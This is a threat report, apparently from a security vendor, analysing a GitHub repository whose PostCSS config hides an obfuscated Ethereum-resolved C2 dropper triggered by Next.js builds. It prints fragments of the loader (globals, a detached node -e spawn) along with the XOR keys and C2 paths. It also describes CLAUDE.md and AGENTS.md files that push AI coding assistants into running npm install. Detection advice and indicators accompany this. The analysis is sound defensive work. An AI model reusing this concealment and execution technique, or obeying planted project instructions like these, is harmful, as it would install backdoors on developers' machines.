Aephix accepted into the Databricks Startup Program
← Research
Threat report Sep 12, 2026

stitch-mcp: PostCSS config file carries a blockchain C2 dropper triggered at build time

stitch-mcp (GitHub repository tapeshchavle/stitch-mcp, package name anti) is a default Next.js scaffold with a ~25,296-byte blockchain C2 dropper in postcss.config.mjs, appended after 997 whitespace characters on line 11. Next.js loads PostCSS configuration at build time, so npm run dev triggers the payload without lifecycle scripts or explicit imports. The loader queries Ethereum RPC endpoints to resolve C2 addresses from wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a, the same wallet, C2 paths, and XOR keys used in the agentgui backdoor. CLAUDE.md and AGENTS.md social-engineer AI coding assistants into running npm install as a precondition.

stitch-mcp appeared on GitHub on Apr 8, 2026, published by account tapeshchavle. The repository name suggests an MCP server. The contents are a default create-next-app scaffold with an AI-generated landing page branded “NEXUS AI.” No MCP server code exists anywhere in the project. postcss.config.mjs carries a ~25,296-byte obfuscated blockchain C2 dropper appended after 997 whitespace characters on line 11. Next.js loads PostCSS configuration at build time, so npm run dev or npm run build triggers the payload without any explicit import or lifecycle script. Two companion files, CLAUDE.md and AGENTS.md, social-engineer AI coding assistants into running npm install as a precondition.

The artifact

The package.json lists the name as anti, not stitch-mcp. Dependencies are Next.js 16.2.2, React 19.2.4, and Tailwind CSS 4 with standard TypeScript dev dependencies. No lifecycle scripts. src/app/page.tsx renders an AI-generated landing page with science-fiction theming: “THE SYNTHETIC INTELLIGENCE ARCHETYPE,” “Neural Monolith,” “Void Docs,” “Shadow Terminal.” The layout metadata still reads “Create Next App.” The README is the unmodified create-next-app default.

The git history contains a single commit (4564ff6) with the message “files added.” The author email, tapeshchawle[@]gmail[.]com, differs from the GitHub username tapeshchavle by one character: w in the email versus v in the username.

.gitignore carries three entries absent from the default Next.js template: branch_structure.json, temp_auto_push.bat, and temp_interactive_push.bat. These suggest the operator uses automated scripts for batch repository publication.

CLAUDE.md contains a single directive: @AGENTS.md. Claude Code reads CLAUDE.md as project instructions and loads the referenced file. AGENTS.md presents itself as Next.js agent rules, stating that “This is NOT the Next.js you know” and claiming breaking changes to APIs, conventions, and file structure. It directs the assistant to read documentation from node_modules/next/dist/docs/ before writing code. That path does not exist until npm install populates node_modules. The instruction creates urgency for the agent to run the install, after which npm run dev is the natural next step in a Next.js workflow.

What it does

Lines 1 through 10 of postcss.config.mjs are a legitimate PostCSS configuration. The file opens with import { createRequire } from 'module', a standard ESM pattern for obtaining a CommonJS require function. The resulting require makes later require() calls in the payload blend with the legitimate import context. Line 11 starts with export default config;. After the semicolon, 997 whitespace characters push the ~25,296-byte payload off-screen on the same line.

The outer obfuscation wraps the payload in a 123-element string rotation array and an XOR layer. The array is rotated by an offset of 24 before lookups. A deobfuscation function recovers each string by XOR-decoding with key 0xC9 (201 decimal), derived from the expression (-1489 + (-3998) + 6200) & (8500 + 8786 - 17031).

The decoded payload sets a campaign identifier and stashes Node.js globals:

global.i = "A11--*";
global.r = require;
typeof module === "object" && (global.m = module);

Five public Ethereum RPC endpoints serve as lookup infrastructure:

EndpointRole
1rpc[.]io/ethEthereum RPC
ethereum-rpc[.]publicnode[.]comEthereum RPC
eth-mainnet[.]public[.]blastapi[.]ioEthereum RPC
eth[.]drpc[.]orgEthereum RPC
eth[.]blockscout[.]com/apiIndexer API fallback

The loader races requests across these endpoints to find the latest transaction from wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a. The to field of the matching transaction encodes two IPv4 addresses: bytes 0 through 3 become IP1, bytes 4 through 7 become IP2. The RPC array also accepts process.env.ETH_RPC_URL as a user-supplied fallback.

Two payloads download from the resolved IP:

PathXOR keyExecution
/0x/clsq4FZkxX{!h,Sr3=@eval() in-process + detached child
/0x/lsy-p_>d$0B&@^1aQkDetached child process only

If the response body is empty, the loader reads the payload from a custom x-payload-b64 response header, base64-decodes it, and applies the same XOR. The User-Agent is set to Chrome 131 on Windows 10.

spawn("node", ["-e", payload], {
  detached: true,
  stdio: "ignore",
  windowsHide: true
}).unref();

The detached child receives require and module through global assignments. It survives parent exit and does not appear in the parent’s stdio. On Windows the windowsHide flag suppresses the console window.

Next.js loads postcss.config.mjs as part of its CSS processing pipeline. Running npm run dev, npm run build, or any command that invokes the Next.js compiler triggers the execution. No postinstall hook is involved, no explicit require() in application code, no runtime import.

postcss.config.mjs line 11 Payload after 997 whitespace chars Queries RPC Ethereum wallet 0xa322...ef1a to field encodes two C2 IPv4 addresses Downloads XOR-encrypted payloads /0x/cls eval() + detached child /0x/ls Detached child only Aephix
Next.js loads postcss.config.mjs at build time. The hidden payload resolves C2 addresses from the wallet's latest Ethereum transaction, then downloads and executes XOR-encrypted payloads both in-process and as a detached child.

The campaign

The Ethereum wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a, C2 paths (/0x/cls, /0x/ls), XOR keys, RPC endpoints, User-Agent string, x-payload-b64 fallback header, and detached-child execution pattern are identical to those in the agentgui analysis (campaign A9-2057). The animotion-mcp analysis (campaign A9-4051-1) uses a wallet composed of the same 20 bytes in transposed order. The three repositories each use a different concealment file: database.js in agentgui, analytics/api/mcp-events.js in animotion-mcp, postcss.config.mjs in stitch-mcp.

The campaign identifier shifts from the A9- prefix shared by agentgui and animotion-mcp to A11--*. The .gitignore entries for temp_auto_push.bat and temp_interactive_push.bat point to scripted repository publication, consistent with a campaign that maintains multiple repository fronts. The package.json name anti does not match the repository name stitch-mcp, suggesting the scaffold was generated or reused from an unrelated project before the payload was inserted.

Why the operation matters here

postcss.config.mjs is loaded by the Next.js compiler, not by application code. ignore-scripts=true blocks lifecycle hooks but has no effect on build-time configuration loading. npm audit inspects the dependency tree, not the project’s own config files. The trigger is npm run dev, the step that immediately follows npm install in every Next.js workflow.

What a defender can do

Search development environments for clones of stitch-mcp. Inspect postcss.config.mjs for content beyond the export default config; statement on line 11. The payload begins after 997 whitespace characters.

If npm run dev or npm run build was executed in the cloned repository, check for detached node -e processes. The child process persists independently of the parent and survives logout.

Review AI coding assistant session logs for interactions with repositories containing CLAUDE.md files that load secondary instruction files via @ directives. The CLAUDE.md to @AGENTS.md pattern targets agents that read project instructions automatically.

Monitor Ethereum wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a for outbound transactions. Each new transaction updates the C2 addresses the loader resolves.

Where Aephix fits

PostCSS configuration files sit outside the scope of registry scanners, lockfile audits, and lifecycle-script controls. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a component with a hostile history is something you recognize before you connect. Every week, Weekly Sleuth links the malicious packages, models, skills, MCP servers, extensions, and containers confirmed that week to the wider operations behind them, with a confidence level and supporting evidence, so subscribers act against the whole operation rather than the single artifact.

Indicators of compromise

TypeIndicatorContext
Repositorygithub[.]com/tapeshchavle/stitch-mcpSource repository with malicious PostCSS config
Package nameantipackage.json name, does not match repository
Payload filepostcss.config.mjs line 11~25,296-byte obfuscated loader after 997 whitespace chars
Campaign IDA11—*Set as global.i in the payload
Ethereum wallet0xa322e5f3d311d3080e6f0121063e9adc2490ef1aSender address, transactions encode C2 IPv4 addresses
C2 path/0x/clsXOR-decrypted, eval() in-process + detached child
C2 path/0x/lsXOR-decrypted, detached child process only
XOR keyq4FZkxX{!h,Sr3=@Decryption key for /0x/cls payload
XOR keyy-p_>d$0B&@^1aQkDecryption key for /0x/ls payload
Outer XOR key0xC9 (201 decimal)Outer obfuscation layer, single-byte XOR
HTTP headerx-payload-b64Fallback payload delivery via response header
RPC endpoint1rpc[.]io/ethEthereum RPC for C2 resolution
RPC endpointethereum-rpc[.]publicnode[.]comEthereum RPC for C2 resolution
RPC endpointeth-mainnet[.]public[.]blastapi[.]ioEthereum RPC for C2 resolution
RPC endpointeth[.]drpc[.]orgEthereum RPC for C2 resolution
API endpointeth[.]blockscout[.]com/apiIndexer fallback for transaction history
Env variableETH_RPC_URLUser-supplied RPC fallback accepted by the loader
GitHub accounttapeshchavleRepository publisher
Emailtapeshchawle[@]gmail[.]comGit commit author (note v/w discrepancy with username)
Social engineeringCLAUDE.md to @AGENTS.mdDirective chain targeting AI coding assistants
.gitignore artifacttemp_auto_push.bat, temp_interactive_push.batAutomated push scripts, not committed